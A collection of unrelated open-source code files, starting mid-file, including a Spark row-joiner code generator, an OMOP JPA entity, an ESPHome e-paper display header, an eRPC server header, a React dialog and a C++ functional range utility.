private Problem _6__yield_zc5nt1_b0a0d0a0f; private Iterator<Problem> _6__yield_zc5nt1_b0a0d0a0f_it; }; } }; } }); } } public MigrationScriptReference getReference() { return new MigrationScriptReference(MetaAdapterFactory.getLanguage(0xa5e4de5346a344daL, 0xaab368fdf1c34ed0L, "jetbrains.mps.console.ideCommands"), 1); } public static boolean isMovedConcept(SAbstractConcept c) { if (SConceptOperations.isExactly(SNodeOperations.asSConcept(c), SNodeOperations.asSConcept(MetaAdapterFactory.getConcept(MetaAdapterFactory.getLanguage(0xa5e4de5346a344daL, 0xaab368fdf1c34ed0L, "jetbrains.mps.console.ideCommands"), 0x5252d9021b8b45a8L, "OfAspectOperation")))) { return true; } return false; } }
wtx626/spark-release-HDP-2.5.0.3
sql/catalyst/src/main/scala/org/apache/spark/sql/catalyst/expressions/codegen/GenerateUnsafeRowJoiner.scala
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.spark.sql.catalyst.expressions.codegen import org.apache.spark.sql.catalyst.expressions.{UnsafeRow, Attribute} import org.apache.spark.sql.types.StructType import org.apache.spark.unsafe.Platform abstract class UnsafeRowJoiner { def join(row1: UnsafeRow, row2: UnsafeRow): UnsafeRow } /** * A code generator for concatenating two [[UnsafeRow]]s into a single [[UnsafeRow]]. * * The high level algorithm is: * * 1. Concatenate the two bitsets together into a single one, taking padding into account. * 2. Move fixed-length data. * 3. Move variable-length data. * 4. Update the offset position (i.e. the upper 32 bits in the fixed length part) for all * variable-length data. */ object GenerateUnsafeRowJoiner extends CodeGenerator[(StructType, StructType), UnsafeRowJoiner] { override protected def create(in: (StructType, StructType)): UnsafeRowJoiner = { create(in._1, in._2) } override protected def canonicalize(in: (StructType, StructType)): (StructType, StructType) = in override protected def bind(in: (StructType, StructType), inputSchema: Seq[Attribute]) : (StructType, StructType) = { in } def create(schema1: StructType, schema2: StructType): UnsafeRowJoiner = { val offset = Platform.BYTE_ARRAY_OFFSET val getLong = "Platform.getLong" val putLong = "Platform.putLong" val bitset1Words = (schema1.size + 63) / 64 val bitset2Words = (schema2.size + 63) / 64 val outputBitsetWords = (schema1.size + schema2.size + 63) / 64 val bitset1Remainder = schema1.size % 64 // The number of bytes we can reduce when we concat two rows together. // The only reduction comes from merging the bitset portion of the two rows, saving 1 word. val sizeReduction = (bitset1Words + bitset2Words - outputBitsetWords) * 8 // --------------------- copy bitset from row 1 and row 2 --------------------------- // val copyBitset = Seq.tabulate(outputBitsetWords) { i => val bits = if (bitset1Remainder > 0) { if (i < bitset1Words - 1) { s"$getLong(obj1, offset1 + ${i * 8})" } else if (i == bitset1Words - 1) { // combine last work of bitset1 and first word of bitset2 s"$getLong(obj1, offset1 + ${i * 8}) | ($getLong(obj2, offset2) << $bitset1Remainder)" } else if (i - bitset1Words < bitset2Words - 1) { // combine next two words of bitset2 s"($getLong(obj2, offset2 + ${(i - bitset1Words) * 8}) >>> (64 - $bitset1Remainder))" + s" | ($getLong(obj2, offset2 + ${(i - bitset1Words + 1) * 8}) << $bitset1Remainder)" } else { // last word of bitset2 s"$getLong(obj2, offset2 + ${(i - bitset1Words) * 8}) >>> (64 - $bitset1Remainder)" } } else { // they are aligned by word if (i < bitset1Words) { s"$getLong(obj1, offset1 + ${i * 8})" } else { s"$getLong(obj2, offset2 + ${(i - bitset1Words) * 8})" } } s"$putLong(buf, ${offset + i * 8}, $bits);" }.mkString("\n") // --------------------- copy fixed length portion from row 1 ----------------------- // var cursor = offset + outputBitsetWords * 8 val copyFixedLengthRow1 = s""" |// Copy fixed length data for row1 |Platform.copyMemory( | obj1, offset1 + ${bitset1Words * 8}, | buf, $cursor, | ${schema1.size * 8}); """.stripMargin cursor += schema1.size * 8 // --------------------- copy fixed length portion from row 2 ----------------------- // val copyFixedLengthRow2 = s""" |// Copy fixed length data for row2 |Platform.copyMemory( | obj2, offset2 + ${bitset2Words * 8}, | buf, $cursor, | ${schema2.size * 8}); """.stripMargin cursor += schema2.size * 8 // --------------------- copy variable length portion from row 1 ----------------------- // val numBytesBitsetAndFixedRow1 = (bitset1Words + schema1.size) * 8 val copyVariableLengthRow1 = s""" |// Copy variable length data for row1 |long numBytesVariableRow1 = row1.getSizeInBytes() - $numBytesBitsetAndFixedRow1; |Platform.copyMemory( | obj1, offset1 + ${(bitset1Words + schema1.size) * 8}, | buf, $cursor, | numBytesVariableRow1); """.stripMargin // --------------------- copy variable length portion from row 2 ----------------------- // val numBytesBitsetAndFixedRow2 = (bitset2Words + schema2.size) * 8 val copyVariableLengthRow2 = s""" |// Copy variable length data for row2 |long numBytesVariableRow2 = row2.getSizeInBytes() - $numBytesBitsetAndFixedRow2; |Platform.copyMemory( | obj2, offset2 + ${(bitset2Words + schema2.size) * 8}, | buf, $cursor + numBytesVariableRow1, | numBytesVariableRow2); """.stripMargin // ------------- update fixed length data for variable length data type --------------- // val updateOffset = (schema1 ++ schema2).zipWithIndex.map { case (field, i) => // Skip fixed length data types, and only generate code for variable length data if (UnsafeRow.isFixedLength(field.dataType)) { "" } else { // Number of bytes to increase for the offset. Note that since in UnsafeRow we store the // offset in the upper 32 bit of the words, we can just shift the offset to the left by // 32 and increment that amount in place. val shift = if (i < schema1.size) { s"${(outputBitsetWords - bitset1Words + schema2.size) * 8}L" } else { s"(${(outputBitsetWords - bitset2Words + schema1.size) * 8}L + numBytesVariableRow1)" } val cursor = offset + outputBitsetWords * 8 + i * 8 s""" |$putLong(buf, $cursor, $getLong(buf, $cursor) + ($shift << 32)); """.stripMargin } }.mkString("\n") // ------------------------ Finally, put everything together --------------------------- // val codeBody = s""" |public java.lang.Object generate($exprType[] exprs) { | return new SpecificUnsafeRowJoiner(); |} | |class SpecificUnsafeRowJoiner extends ${classOf[UnsafeRowJoiner].getName} { | private byte[] buf = new byte[64]; | private UnsafeRow out = new UnsafeRow(); | | public UnsafeRow join(UnsafeRow row1, UnsafeRow row2) { | // row1: ${schema1.size} fields, $bitset1Words words in bitset | // row2: ${schema2.size}, $bitset2Words words in bitset | // output: ${schema1.size + schema2.size} fields, $outputBitsetWords words in bitset | final int sizeInBytes = row1.getSizeInBytes() + row2.getSizeInBytes() - $sizeReduction; | if (sizeInBytes > buf.length) { | buf = new byte[sizeInBytes]; | } | | final java.lang.Object obj1 = row1.getBaseObject(); | final long offset1 = row1.getBaseOffset(); | final java.lang.Object obj2 = row2.getBaseObject(); | final long offset2 = row2.getBaseOffset(); | | $copyBitset | $copyFixedLengthRow1 | $copyFixedLengthRow2 | $copyVariableLengthRow1 | $copyVariableLengthRow2 | $updateOffset | | out.pointTo(buf, ${schema1.size + schema2.size}, sizeInBytes); | | return out; | } |} """.stripMargin val code = new CodeAndComment(codeBody, Map.empty) logDebug(s"SpecificUnsafeRowJoiner($schema1, $schema2):\n${CodeFormatter.format(code)}") val c = compile(code) c.generate(Array.empty).asInstanceOf[UnsafeRowJoiner] } }
JLLeitschuh/GT-FHIR2
omoponfhir-omopv5-jpabase/src/main/java/edu/gatech/chai/omopv5/model/entity/Observation.java
<reponame>JLLeitschuh/GT-FHIR2 /******************************************************************************* * Copyright (c) 2019 Georgia Tech Research Institute * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * *******************************************************************************/ package edu.gatech.chai.omopv5.model.entity; import java.util.Date; import javax.persistence.Access; import javax.persistence.AccessType; import javax.persistence.CascadeType; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.GenerationType; import javax.persistence.Id; import javax.persistence.Index; import javax.persistence.JoinColumn; import javax.persistence.ManyToOne; import javax.persistence.SequenceGenerator; import javax.persistence.Table; import javax.persistence.Temporal; import javax.persistence.TemporalType; @Entity @Table( name="observation", indexes = { @Index(name = "idx_observation_concept_id", columnList = "observation_concept_id"), @Index(name = "idx_observation_fperson_id", columnList = "person_id") } ) public class Observation extends BaseEntity { @Id @GeneratedValue(strategy=GenerationType.SEQUENCE, generator="observation_occurrence_seq_gen") @SequenceGenerator(name="observation_occurrence_seq_gen", sequenceName="observation_occurrence_id_seq", allocationSize=1) @Column(name = "observation_id") @Access(AccessType.PROPERTY) private Long id; @ManyToOne @JoinColumn(name = "person_id", nullable = false) private FPerson fPerson; @ManyToOne @JoinColumn(name = "observation_concept_id", nullable = false) private Concept observationConcept; @Column(name = "observation_date", nullable = false) @Temporal(TemporalType.DATE) private Date date; @Column(name = "observation_time") // @Temporal(TemporalType.TIME) private String time; @Column(name = "value_as_string") private String valueAsString; @Column(name = "value_as_number") private Double valueAsNumber; @ManyToOne @JoinColumn(name = "value_as_concept_id") private Concept valueAsConcept; @ManyToOne @JoinColumn(name = "observation_type_concept_id", nullable = false) private Concept typeConcept; @ManyToOne @JoinColumn(name = "provider_id") private Provider provider; @ManyToOne @JoinColumn(name = "visit_occurrence_id") private VisitOccurrence visitOccurrence; @Column(name = "observation_source_value") private String sourceValue; @ManyToOne @JoinColumn(name = "observation_source_concept_id") private Concept sourceConcept; @ManyToOne @JoinColumn(name = "qualifier_concept_id") private Concept qualifierConcept; @Column(name = "qualifier_source_value") private String qualifierSourceValue; @ManyToOne @JoinColumn(name = "unit_concept_id") private Concept unitConcept; @Column(name = "unit_source_value") private String unitSourceValue; public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getTime() { return time; } public void setTime(String time) { this.time = time; } public FPerson getFPerson() { return fPerson; } public void setFPerson(FPerson fPerson) { this.fPerson = fPerson; } public Concept getObservationConcept() { return observationConcept; } public void setObservationConcept(Concept observationConcept) { this.observationConcept = observationConcept; } public Date getDate() { return date; } public void setDate(Date date) { this.date = date; } public String getValueAsString() { return valueAsString; } public void setValueAsString(String valueAsString) { this.valueAsString = valueAsString; } public Double getValueAsNumber() { return valueAsNumber; } public void setValueAsNumber(Double valueAsNumber) { this.valueAsNumber = valueAsNumber; } public Concept getValueAsConcept() { return valueAsConcept; } public void setValueAsConcept(Concept valueAsConcept) { this.valueAsConcept = valueAsConcept; } public Concept getTypeConcept() { return typeConcept; } public void setTypeConcept(Concept typeConcept) { this.typeConcept = typeConcept; } public Provider getProvider() { return provider; } public void setProvider(Provider provider) { this.provider = provider; } public VisitOccurrence getVisitOccurrence() { return visitOccurrence; } public void setVisitOccurrence(VisitOccurrence visitOccurrence) { this.visitOccurrence = visitOccurrence; } public Concept getQualifierConcept () { return qualifierConcept; } public void setQualifierConcept (Concept qualifierConcept) { this.qualifierConcept = qualifierConcept; } public String getQualifierSourceValue () { return qualifierSourceValue; } public void setQualifierSourceValue (String qualifierSourceValue) { this.qualifierSourceValue = qualifierSourceValue; } public String getSourceValue() { return sourceValue; } public void setSourceValue(String sourceValue) { this.sourceValue = sourceValue; } public Concept getSourceConcept() { return sourceConcept; } public void setSourceConcept(Concept sourceConcept) { this.sourceConcept = sourceConcept; } public Concept getUnitConcept() { return unitConcept; } public void setUnitConcept(Concept unitConcept) { this.unitConcept = unitConcept; } public String getUnitSourceValue() { return unitSourceValue; } public void setUnitSourceValue(String unitSourceValue) { this.unitSourceValue = unitSourceValue; } @Override public Long getIdAsLong() { return getId(); } }
OttoWinter/esphomeyaml
esphome/components/waveshare_epaper/waveshare_epaper.h
<gh_stars>100-1000 #pragma once #include "esphome/core/component.h" #include "esphome/components/spi/spi.h" #include "esphome/components/display/display_buffer.h" namespace esphome { namespace waveshare_epaper { class WaveshareEPaper : public PollingComponent, public display::DisplayBuffer, public spi::SPIDevice<spi::BIT_ORDER_MSB_FIRST, spi::CLOCK_POLARITY_LOW, spi::CLOCK_PHASE_LEADING, spi::DATA_RATE_2MHZ> { public: void set_dc_pin(GPIOPin *dc_pin) { dc_pin_ = dc_pin; } float get_setup_priority() const override; void set_reset_pin(GPIOPin *reset) { this->reset_pin_ = reset; } void set_busy_pin(GPIOPin *busy) { this->busy_pin_ = busy; } void set_reset_duration(uint32_t reset_duration) { this->reset_duration_ = reset_duration; } void command(uint8_t value); void data(uint8_t value); virtual void display() = 0; virtual void initialize() = 0; virtual void deep_sleep() = 0; void update() override; void fill(Color color) override; void setup() override { this->setup_pins_(); this->initialize(); } void on_safe_shutdown() override; display::DisplayType get_display_type() override { return display::DisplayType::DISPLAY_TYPE_BINARY; } protected: void draw_absolute_pixel_internal(int x, int y, Color color) override; bool wait_until_idle_(); void setup_pins_(); void reset_() { if (this->reset_pin_ != nullptr) { this->reset_pin_->digital_write(false); delay(reset_duration_); // NOLINT this->reset_pin_->digital_write(true); delay(200); // NOLINT } } uint32_t get_buffer_length_(); uint32_t reset_duration_{200}; void start_command_(); void end_command_(); void start_data_(); void end_data_(); GPIOPin *reset_pin_{nullptr}; GPIOPin *dc_pin_; GPIOPin *busy_pin_{nullptr}; virtual uint32_t idle_timeout_() { return 1000u; } // NOLINT(readability-identifier-naming) }; enum WaveshareEPaperTypeAModel { WAVESHARE_EPAPER_1_54_IN = 0, WAVESHARE_EPAPER_1_54_IN_V2, WAVESHARE_EPAPER_2_13_IN, WAVESHARE_EPAPER_2_9_IN, WAVESHARE_EPAPER_2_9_IN_V2, TTGO_EPAPER_2_13_IN, TTGO_EPAPER_2_13_IN_B73, TTGO_EPAPER_2_13_IN_B1, TTGO_EPAPER_2_13_IN_B74, }; class WaveshareEPaperTypeA : public WaveshareEPaper { public: WaveshareEPaperTypeA(WaveshareEPaperTypeAModel model); void initialize() override; void dump_config() override; void display() override; void deep_sleep() override { if (this->model_ == WAVESHARE_EPAPER_2_9_IN_V2 || this->model_ == WAVESHARE_EPAPER_1_54_IN_V2) { // COMMAND DEEP SLEEP MODE this->command(0x10); this->data(0x01); } else { // COMMAND DEEP SLEEP MODE this->command(0x10); } this->wait_until_idle_(); } void set_full_update_every(uint32_t full_update_every); protected: void write_lut_(const uint8_t *lut, uint8_t size); int get_width_internal() override; int get_height_internal() override; uint32_t full_update_every_{30}; uint32_t at_update_{0}; WaveshareEPaperTypeAModel model_; uint32_t idle_timeout_() override; }; enum WaveshareEPaperTypeBModel { WAVESHARE_EPAPER_2_7_IN = 0, WAVESHARE_EPAPER_4_2_IN, WAVESHARE_EPAPER_4_2_IN_B_V2, WAVESHARE_EPAPER_7_5_IN, WAVESHARE_EPAPER_7_5_INV2, WAVESHARE_EPAPER_7_5_IN_B_V2, }; class WaveshareEPaper2P7In : public WaveshareEPaper { public: void initialize() override; void display() override; void dump_config() override; void deep_sleep() override { // COMMAND DEEP SLEEP this->command(0x07); this->data(0xA5); // check byte } protected: int get_width_internal() override; int get_height_internal() override; }; class WaveshareEPaper2P9InB : public WaveshareEPaper { public: void initialize() override; void display() override; void dump_config() override; void deep_sleep() override { // COMMAND DEEP SLEEP this->command(0x07); this->data(0xA5); // check byte } protected: int get_width_internal() override; int get_height_internal() override; }; class WaveshareEPaper4P2In : public WaveshareEPaper { public: void initialize() override; void display() override; void dump_config() override; void deep_sleep() override { // COMMAND VCOM AND DATA INTERVAL SETTING this->command(0x50); this->data(0x17); // border floating // COMMAND VCM DC SETTING this->command(0x82); // COMMAND PANEL SETTING this->command(0x00); delay(100); // NOLINT // COMMAND POWER SETTING this->command(0x01); this->data(0x00); this->data(0x00); this->data(0x00); this->data(0x00); this->data(0x00); delay(100); // NOLINT // COMMAND POWER OFF this->command(0x02); this->wait_until_idle_(); // COMMAND DEEP SLEEP this->command(0x07); this->data(0xA5); // check byte } protected: int get_width_internal() override; int get_height_internal() override; }; class WaveshareEPaper4P2InBV2 : public WaveshareEPaper { public: void initialize() override; void display() override; void dump_config() override; void deep_sleep() override { // COMMAND VCOM AND DATA INTERVAL SETTING this->command(0x50); this->data(0xF7); // border floating // COMMAND POWER OFF this->command(0x02); this->wait_until_idle_(); // COMMAND DEEP SLEEP this->command(0x07); this->data(0xA5); // check code } protected: int get_width_internal() override; int get_height_internal() override; }; class WaveshareEPaper5P8In : public WaveshareEPaper { public: void initialize() override; void display() override; void dump_config() override; void deep_sleep() override { // COMMAND POWER OFF this->command(0x02); this->wait_until_idle_(); // COMMAND DEEP SLEEP this->command(0x07); this->data(0xA5); // check byte } protected: int get_width_internal() override; int get_height_internal() override; }; class WaveshareEPaper7P5In : public WaveshareEPaper { public: void initialize() override; void display() override; void dump_config() override; void deep_sleep() override { // COMMAND POWER OFF this->command(0x02); this->wait_until_idle_(); // COMMAND DEEP SLEEP this->command(0x07); this->data(0xA5); // check byte } protected: int get_width_internal() override; int get_height_internal() override; }; class WaveshareEPaper7P5InBV2 : public WaveshareEPaper { public: void initialize() override; void display() override; void dump_config() override; void deep_sleep() override { // COMMAND POWER OFF this->command(0x02); this->wait_until_idle_(); // COMMAND DEEP SLEEP this->command(0x07); // deep sleep this->data(0xA5); // check byte } protected: int get_width_internal() override; int get_height_internal() override; }; class WaveshareEPaper7P5InBC : public WaveshareEPaper { public: void initialize() override; void display() override; void dump_config() override; void deep_sleep() override { // COMMAND POWER OFF this->command(0x02); this->wait_until_idle_(); // COMMAND DEEP SLEEP this->command(0x07); this->data(0xA5); // check byte } protected: int get_width_internal() override; int get_height_internal() override; }; class WaveshareEPaper7P5InV2 : public WaveshareEPaper { public: void initialize() override; void display() override; void dump_config() override; void deep_sleep() override { // COMMAND POWER OFF this->command(0x02); this->wait_until_idle_(); // COMMAND DEEP SLEEP this->command(0x07); this->data(0xA5); // check byte } protected: int get_width_internal() override; int get_height_internal() override; }; class WaveshareEPaper7P5InV2alt : public WaveshareEPaper7P5InV2 { public: bool wait_until_idle_(); void initialize() override; void dump_config() override; protected: void reset_() { if (this->reset_pin_ != nullptr) { this->reset_pin_->digital_write(true); delay(200); // NOLINT this->reset_pin_->digital_write(false); delay(2); this->reset_pin_->digital_write(true); delay(20); } }; }; class WaveshareEPaper7P5InHDB : public WaveshareEPaper { public: void initialize() override; void display() override; void dump_config() override; void deep_sleep() override { // deep sleep this->command(0x10); this->data(0x01); } protected: int get_width_internal() override; int get_height_internal() override; }; class WaveshareEPaper2P13InDKE : public WaveshareEPaper { public: void initialize() override; void display() override; void dump_config() override; void deep_sleep() override { // COMMAND POWER DOWN this->command(0x10); this->data(0x01); // cannot wait until idle here, the device no longer responds } void set_full_update_every(uint32_t full_update_every); protected: int get_width_internal() override; int get_height_internal() override; uint32_t idle_timeout_() override; uint32_t full_update_every_{30}; uint32_t at_update_{0}; }; } // namespace waveshare_epaper } // namespace esphome
Sir-Branch/k64f-starter-template
sdk_k64f/middleware/multicore/erpc/erpc_c/setup/erpc_server_setup.h
<reponame>Sir-Branch/k64f-starter-template<filename>sdk_k64f/middleware/multicore/erpc/erpc_c/setup/erpc_server_setup.h /* * Copyright (c) 2014-2016, Freescale Semiconductor, Inc. * Copyright 2016-2017 NXP * All rights reserved. * * * SPDX-License-Identifier: BSD-3-Clause */ #ifndef _EMBEDDED_RPC__SERVER_SETUP_H_ #define _EMBEDDED_RPC__SERVER_SETUP_H_ #include "erpc_common.h" #include "erpc_config_internal.h" #include "erpc_mbf_setup.h" #include "erpc_transport_setup.h" /*! * @addtogroup server_setup * @{ * @file */ //////////////////////////////////////////////////////////////////////////////// // API //////////////////////////////////////////////////////////////////////////////// #ifdef __cplusplus extern "C" { #endif #include <stdbool.h> #include <stdint.h> //! @brief Opaque server object type. typedef struct ServerType *erpc_server_t; //! @name Server setup //@{ /*! * @brief This function initializes server. * * This function initializes server with all components necessary for running server. * * @return Server object type. */ erpc_server_t erpc_server_init(erpc_transport_t transport, erpc_mbf_t message_buffer_factory); /*! * @brief This function de-initializes server. * * This function de-initializes server and all components which it own. */ void erpc_server_deinit(void); /*! * @brief This function adds service to server. * * Services contain implementations of functions called from client to server. * * @param[in] service Service which contains implementations of functions called from client to server. */ void erpc_add_service_to_server(void *service); /*! * @brief This function removes service from server. * * @param[in] service Service which contains implementations of functions called from client to server. */ void erpc_remove_service_from_server(void *service); /*! * @brief Can be used to set own crcStart number. * * For example can be used generated crc from erpcgen * which is providing when @crc annotation is used. * Accessed can be through 'extern const uint32_t erpc_generated_crc;' * * @param[in] crcStart Set start number for crc. */ void erpc_server_set_crc(uint32_t crcStart); //@} //! @name Server control //@{ /*! * @brief This function calls server implementation until it is stopped. * * This is blocking method, where server is trying read (and if it is requested also send) message * until it is stopped. * * @return Return one of status from erpc_common.h */ erpc_status_t erpc_server_run(void); /*! * @brief This function calls server implementation only once. * * This is non-blocking method, where server is trying read (and if it is requested also send) message only once. * * @return Return one of status from erpc_common.h */ erpc_status_t erpc_server_poll(void); /*! * @brief This functions should be used when client is calling quit server. * * This method sets server from On to OFF. When the server returns from its implementation, * erpc_server_deinit() function should be called. */ void erpc_server_stop(void); #if ERPC_MESSAGE_LOGGING /*! * @brief This function adds transport object for logging send/receive messages. * * @param[in] transport Initiated transport. * * @retval True When transport was successfully added. * @retval False When transport wasn't added. */ bool erpc_server_add_message_logger(erpc_transport_t transport); #endif //@} #ifdef __cplusplus } #endif /*! @} */ #endif // _EMBEDDED_RPC__SERVER_SETUP_H_
JuanTenjo/BetSolver
Frontend/src/Components/Necesarios/Dialogo.js
<filename>Frontend/src/Components/Necesarios/Dialogo.js import React from 'react'; import Button from "@material-ui/core/Button"; import Dialog from "@material-ui/core/Dialog"; import DialogActions from "@material-ui/core/DialogActions"; import DialogContent from "@material-ui/core/DialogContent"; import DialogContentText from "@material-ui/core/DialogContentText"; import DialogTitle from "@material-ui/core/DialogTitle"; import Slide from "@material-ui/core/Slide"; const Transition = React.forwardRef(function Transition(props, ref) { return <Slide direction="up" ref={ref} {...props} />; }); const Dialogo = ({handleDialog,InfoDialog}) => { const handleClose = () => { handleDialog(); }; return ( <div> <Dialog open={true} TransitionComponent={Transition} keepMounted onClose={handleClose} aria-labelledby="alert-dialog-slide-title" aria-describedby="alert-dialog-slide-description" > <DialogTitle style={{margin:'0'}} id="alert-dialog-slide-title"> Control de operaciones </DialogTitle> <DialogContent> <DialogContentText id="alert-dialog-slide-description"> {`Desea ${InfoDialog.operacion} esta ${InfoDialog.tipo}`} </DialogContentText> </DialogContent> <DialogActions> <Button onClick={handleClose} size="small"> Cancelar </Button> <Button onClick={() => InfoDialog.funcion(InfoDialog.ID)} size="small" color="primary"> {InfoDialog.operacion} </Button> </DialogActions> </Dialog> </div> ); }; export default Dialogo;
ebu/ebu-tt-live-toolk
ebu_tt_live/errors.py
<gh_stars>10-100 from .strings import ERR_DOCUMENT_EXTENT_MISSING class ComponentCompatError(TypeError): pass class DataCompatError(TypeError): pass class DocumentNotLoadedError(Exception): pass class TimeFormatError(Exception): pass class TimeFormatOverflowError(Exception): pass class XMLParsingFailed(Exception): pass class SemanticValidationError(Exception): pass class EndOfData(Exception): pass class IncompatibleSequenceError(Exception): pass class SequenceNumberCollisionError(IncompatibleSequenceError): pass class DocumentDiscardedError(Exception): offending_document = None class SequenceOverridden(Exception): pass class LogicError(Exception): pass class ExtentMissingError(Exception): _attribute = None def __init__(self, attribute): self._attribute = attribute def __str__(self): return ERR_DOCUMENT_EXTENT_MISSING.format(type=type(self._attribute), value=self._attribute) class StopBranchIteration(Exception): """ Let the iterator know that it can proceed to the next branch. It does not need to traverse the current one any further. """ class OutsideSegmentError(StopBranchIteration): """ This exception is meant to be raised by the copying functionality to make the iterator know that a particular subtree is not meant to be parsed. """ class DiscardElement(Exception): """ There is a possibility that an element may become superfluous or lose its value. Such a possibility can happen in segmentation when a p element gets selected because it contains 2 spans but the segment happens to be selecting an interval between them so the container ends up being empty and thus should be discarded. """ class ConfigurationError(Exception): pass class UnexpectedSequenceIdentifierError(Exception): pass class UnexpectedAuthorsGroupError(Exception): pass
Minionguyjpro/Ghostly-Skills
sources/com/startapp/android/publish/adsCommon/adListeners/AdEventListener.java
package com.startapp.android.publish.adsCommon.adListeners; import com.startapp.android.publish.adsCommon.Ad; /* compiled from: StartAppSDK */ public interface AdEventListener { void onFailedToReceiveAd(Ad ad); void onReceiveAd(Ad ad); }
ErikWallin/KakuroSolver
akka/src/main/scala/se/marfok/kakurosolver/akka/PuzzleMessages.scala
<reponame>ErikWallin/KakuroSolver<filename>akka/src/main/scala/se/marfok/kakurosolver/akka/PuzzleMessages.scala package se.marfok.kakurosolver.akka import se.marfok.kakurosolver.domain.White import se.marfok.kakurosolver.domain.Entry sealed trait PuzzleMessage case object Solve extends PuzzleMessage case class WhiteSolved(white: White) extends PuzzleMessage case class EntrySolved(entry: Entry) extends PuzzleMessage
mohaque0/simple-util-cpp
src/util/functional/Range.hpp
<gh_stars>0 #ifndef RANGE_HPP #define RANGE_HPP #include <functional> #include <vector> namespace Util { namespace Functional { template <class InputType, class InputIterator, class OutputType, typename MapFunction> class MappedRange; template <class ValueType, class Iterator, typename FilterFunction> class FilteredRange; // // Common methods for Ranges. // template<typename ValueType, typename InputIterator> class Range { public: Range() {} virtual ~Range() {} virtual InputIterator begin() = 0; virtual InputIterator end() = 0; template<typename FilterFunction> FilteredRange<ValueType, InputIterator, FilterFunction> filter(FilterFunction fn) { return FilteredRange<ValueType, InputIterator, FilterFunction>(*this, fn); } template<typename MapFunction> auto map(MapFunction fn) -> MappedRange<ValueType, InputIterator, decltype(fn(*begin())), MapFunction> { return MappedRange<ValueType, InputIterator, decltype(fn(*begin())), MapFunction>(*this, fn); } template <typename AggregatorFunction, typename AggregatorType> AggregatorType foldl(AggregatorFunction fn, AggregatorType initial) { AggregatorType v = initial; for (InputIterator i = begin(); i != end(); ++i) { v = fn(v, *i); } return v; } }; // // Basic Range: A range of all values between the given iterators [start,end). // template <typename ValueType, typename InputIterator> class BasicRange : public Range<ValueType, InputIterator> { private: InputIterator startIter; InputIterator endIter; public: BasicRange(InputIterator start, InputIterator end) : startIter(start), endIter(end) {} virtual ~BasicRange() {} virtual InputIterator begin() { return startIter; } virtual InputIterator end() { return endIter; } }; // // Filtered Range // template <class ValueType, class Iterator> class FilteredRangeIterator { private: Iterator startIter; Iterator endIter; std::function<bool(ValueType)> &fn; public: FilteredRangeIterator(Iterator startIter_, Iterator endIter_, std::function<bool(ValueType)> &fn_) : startIter(startIter_), endIter(endIter_), fn(fn_) { while (startIter != endIter && !fn(*startIter)) { ++startIter; } } ~FilteredRangeIterator() {} bool operator==(const FilteredRangeIterator<ValueType, Iterator> &other) const { return startIter == other.startIter; } bool operator!=(const FilteredRangeIterator<ValueType, Iterator> &other) const { return !(startIter == other.startIter); } ValueType operator*() { return *startIter; } FilteredRangeIterator<ValueType, Iterator> operator++() { return FilteredRangeIterator<ValueType, Iterator>(++startIter, endIter, fn); } }; template <class ValueType, class Iterator, typename FilterFunction> class FilteredRange : public Range<ValueType, FilteredRangeIterator<ValueType, Iterator>> { private: Range<ValueType, Iterator> &source; std::function<bool(ValueType)> fn; public: FilteredRange(Range<ValueType, Iterator> &source_, FilterFunction &fn_) : source(source_), fn(fn_) {} virtual ~FilteredRange() {} virtual FilteredRangeIterator<ValueType, Iterator> begin() { return FilteredRangeIterator<ValueType, Iterator>(source.begin(), source.end(), fn); } virtual FilteredRangeIterator<ValueType, Iterator> end() { return FilteredRangeIterator<ValueType, Iterator>(source.end(), source.end(), fn); } }; // // Mapped Range // template <class InputType, class InputIterator, class OutputType> class MappedRangeIterator { private: InputIterator i; std::function<OutputType(InputType)> &fn; public: MappedRangeIterator(InputIterator i_, std::function<OutputType(InputType)> &fn_) : i(i_), fn(fn_) {} ~MappedRangeIterator() {} bool operator==(const MappedRangeIterator<InputType, InputIterator, OutputType> &other) const { return i == other.i; } bool operator!=(const MappedRangeIterator<InputType, InputIterator, OutputType> &other) const { return !(i == other.i); } OutputType operator*() { return fn(*i); } MappedRangeIterator<InputType, InputIterator, OutputType> operator++() { return MappedRangeIterator<InputType, InputIterator, OutputType>(++i, fn); } }; template <class InputType, class InputIterator, class OutputType, typename MapFunction> class MappedRange : public Range<OutputType, MappedRangeIterator<InputType, InputIterator, OutputType>> { private: Range<InputType, InputIterator> &source; std::function<OutputType(InputType)> fn; public: MappedRange(Range<InputType, InputIterator> &source_, MapFunction& fn_) : source(source_), fn(fn_) {} virtual ~MappedRange() {} virtual MappedRangeIterator<InputType, InputIterator, OutputType> begin() { return MappedRangeIterator<InputType, InputIterator, OutputType>(source.begin(), fn); } virtual MappedRangeIterator<InputType, InputIterator, OutputType> end() { return MappedRangeIterator<InputType, InputIterator, OutputType>(source.end(), fn); } }; // // Static methods for easy construction without the need to supply template arguments. // template <class Iterable> auto iterate(Iterable& i) -> BasicRange<decltype(*i.begin()), decltype(i.begin())> { return BasicRange<decltype(*i.begin()), decltype(i.begin())>(i.begin(), i.end()); } template <class Iterator> auto iterate(Iterator&& begin, Iterator&& end) -> BasicRange<decltype(*begin), Iterator> { return BasicRange<decltype(*begin), Iterator>(begin, end); } } } #endif // RANGE2_HPP
ddecrulle/Mapex
src/dictionary/components/reperage/index.js
export { default as dicReperage} from './reperage';
TeamSPoon/CYC_JRTL_with_CommonLisp_OLD
platform/lib/all-deps/com/google/gwt/junit/ModuleBatchingStrategy.java
